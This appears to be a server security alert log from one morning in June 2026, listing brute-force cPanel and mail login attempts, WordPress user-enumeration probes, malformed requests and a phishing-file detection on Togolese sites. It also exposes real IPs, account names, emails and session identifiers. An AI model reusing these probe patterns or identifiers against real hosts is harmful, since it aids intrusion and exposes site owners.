name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 06:52:20 +0000] info [cpaneld] 185.55.240.13 - TECH3396082237 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user TECH3396082237 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.52.211.184
country_id: 1694008
description:
Jun 19 06:52:24 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.52.211.184 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.231.103.150
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/13683 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.129.81.133
country_id: 2260494
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/school-assur-couve-les-ecoliers-togolais HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.70.15
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/taux-de-bancarisation-les-scores-du-togo-en-nette-progression HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.83.219
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/covid-19-le-gouvernement-en-concertation-avec-les-acteurs-du-secteur-prive HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.191.54.186
country_id: 337996
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/umoa-titres-le-togo-leve-33-milliards/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:54:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7129541&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781852057 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 69.171.215.29
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/lancement-national-du-projet-dharmonisation-des-statistiques-en-afrique-de-louest HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.179.228.125
country_id: 798544
description:
Jun 19 06:53:53 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.179.228.125 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.148.164.212
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/remise-de-prix-CEATA.webp 800w, http:/togodailynews.tg/wp-content/uploads/2026/06/remise-de-prix-CEATA-300x231.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/remise-de-prix-CEATA-768x591.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:06:54:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6450589&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781852056 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.120.189.41
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/wp/v2/posts/15448 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:06:54:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181980&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781852087 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-19 06:56:22 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:14775: 535 Incorrect authentication data (set_id=furniture)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.124.251.118
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/incendie-du-marche-dagoe-assiyeye-voici-les-premiers-elements-obtenus-de-lenquete-judiciaire-entreprise HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.153.53.70
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/c0bfbd HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 06:55:54 +0000] info [whostmgrd] 200.9.155.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 06:55:57 +0000] info [whostmgrd] 200.9.155.126 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [19/Jun/2026:06:58:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6473065&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fplateforme-numerique-chapchap%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781852328 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/plateforme-numerique-chapchap/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.160.20.41
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/semaine-africaine-du-climat-un-dialogue-pour-obtenir-le-consensus-entre-les-pays HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.8.14
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/bankassur-forum-awards-vers-une-finance-robuste-et-inclusive-en-afrique/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.8.119.63
country_id: 1522867
description:
2026-06-19 07:00:15 H=([45.8.119.63]) [45.8.119.63]:53186 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.120.119
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=http:/togodailynews.tg/togo-les-raisons-de-la-privatisation-de-la-nsct/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.33.127.136
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/06/t\xc3\xa9l\xc3\xa9chargement-39.jpeg 275w, http:/togodailynews.tg/wp-content/uploads/2022/06/t\xc3\xa9l\xc3\xa9chargement-39-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.137.36.245
country_id: 2635167
description:
[2026-06-19 07:01:55 +0000] info [cpaneld] 185.137.36.245 - togoinrdceh "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 37.19.220.47
country_id: 6252001
domain: tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.90.249.25
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/vers-la-mise-en-place-du-haut-comite-de-la-decennie-des-racines-africaines-et-de-la-diaspora-africaine HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:04:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:04:21 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:04:22 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.162.66.211
country_id: 6252001
description:
[2026-06-19 07:03:40 +0000] info [cpaneld] 54.162.66.211 - tqttxcvn "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tqttxcvn (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:04:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.175.56
country_id: 2363686
description:
[2026-06-19 07:06:03 +0000] info [cpaneld] 102.64.175.56 NEW uljcqiuy:STYsOhcIrf1kpDth address=102.64.175.56,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:uljcqiuy:udoK271wUDQ57_pX:create_user_session,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:07:21 +0000] info [cpaneld] 185.55.240.13 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.172.198.60
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:samedi-propre-protege-lecosysteme-et-garantit-un-revenu-pour-les-togolais/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.197.75.164
country_id: 2635167
description:
[2026-06-19 07:11:15 +0000] info [cpaneld] 82.197.75.164 - test "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:07:10:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13001569&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781853038 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:10:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673363&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781853042 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:12:27 +0000] info [cpaneld] 185.55.240.13 - czqxxxnu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: User czqxxxnu has their account suspended. Login blocked.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:13:04 +0000] info [cpaneld] 185.55.240.13 - lxsenjdd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lxsenjdd (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.43.159.236
country_id: 163843
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/economie-numerique-la-commission-de-luemoa-au-sipen HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.114.149.196
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/allegement-fiscal-depreciation-des-valeurs-des-marchandises-au-pal-du-1-octobre-au-15-decembre-2021/feed HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.65.148.252
country_id: 2750405
domain: azenv.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/azenv.net/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:16:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.24
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.085108383549026.php||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.182.239.169
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/04/c41ebc0710bc5e43b69813000dcdbf48_L.jpg 600w, http:/togodailynews.tg/wp-content/uploads/2024/04/c41ebc0710bc5e43b69813000dcdbf48_L-300x219.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:16:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:07:16:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:16:55 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.50
country_id: 3017382
description:
[2026-06-19 07:16:56 +0000] info [cpaneld] 5.231.255.50 NEW ifxmoxbf:M4feCLB3gurmJ4ai address=5.231.255.50,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.213.229.92
country_id: 1512440
description:
2026-06-19 07:18:41 H=([95.214.211.242]) [185.213.229.92]:13684 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.235.107.47
country_id: 2017370
description:
2026-06-19 07:19:37 dovecot_plain authenticator failed for H=(nwh2yc1vccepg44olwqxzkupsks) [188.235.107.47]:60111: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.157
country_id: 1269750
description:
Jun 19 07:19:56 ns5 auth[3638615]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 14.188.34.159
country_id: 1562822
description:
2026-06-19 07:19:36 H=([14.188.34.159]) [14.188.34.159]:53985 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.86.107
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/725803952_1346336050758625_8537351566847766639_n-768x469.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/725803952_1346336050758625_8537351566847766639_n-300x183.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/725803952_1346336050758625_8537351566847766639_n-1024x626.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/725803952_1346336050758625_8537351566847766639_n.webp 1178w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:23:03 +0000] info [cpaneld] 185.55.240.13 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [19/Jun/2026:07:23:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684934&pdata=http%253A%252F%252Fmail.sodigaz.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781853826 HTTP/1.1" 302 0 mail.sodigaz.tg "http://mail.sodigaz.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 129.226.146.42
country_id: 1880251
domain: lepoint-actu.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.19||T:APACHE||MV:/index.php/wp-json/wp/v2/users/2||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 85.9.133.120
country_id: 1220409
description:
2026-06-19 07:25:35 H=([85.9.133.120]) [85.9.133.120]:52617 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 07:25:49 +0000] info [cpaneld] 185.55.240.13 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.221.113.154
country_id: 2635167
description:
[2026-06-19 07:26:34 +0000] info [webmaild] 37.221.113.154 - info@confortis.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.157.32
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/12/IMG-20231202-WA0001.jpg 735w, http:/togodailynews.tg/wp-content/uploads/2023/12/IMG-20231202-WA0001-300x198.jpg 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:28:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13093018&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781854079 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.207.86.238
country_id: 690791
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/f3f6f6 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - visite@cloud-et-racks.tg [06/19/2026:07:28:27 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: visite@cloud-et-racks.tg


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 07:29:00 +0000] info [cpaneld] 102.54.238.57 - polyfree "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user polyfree (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:07:28:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989531&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781854119 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - cloudetracks [06/19/2026:07:29:42 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: cloudetracks


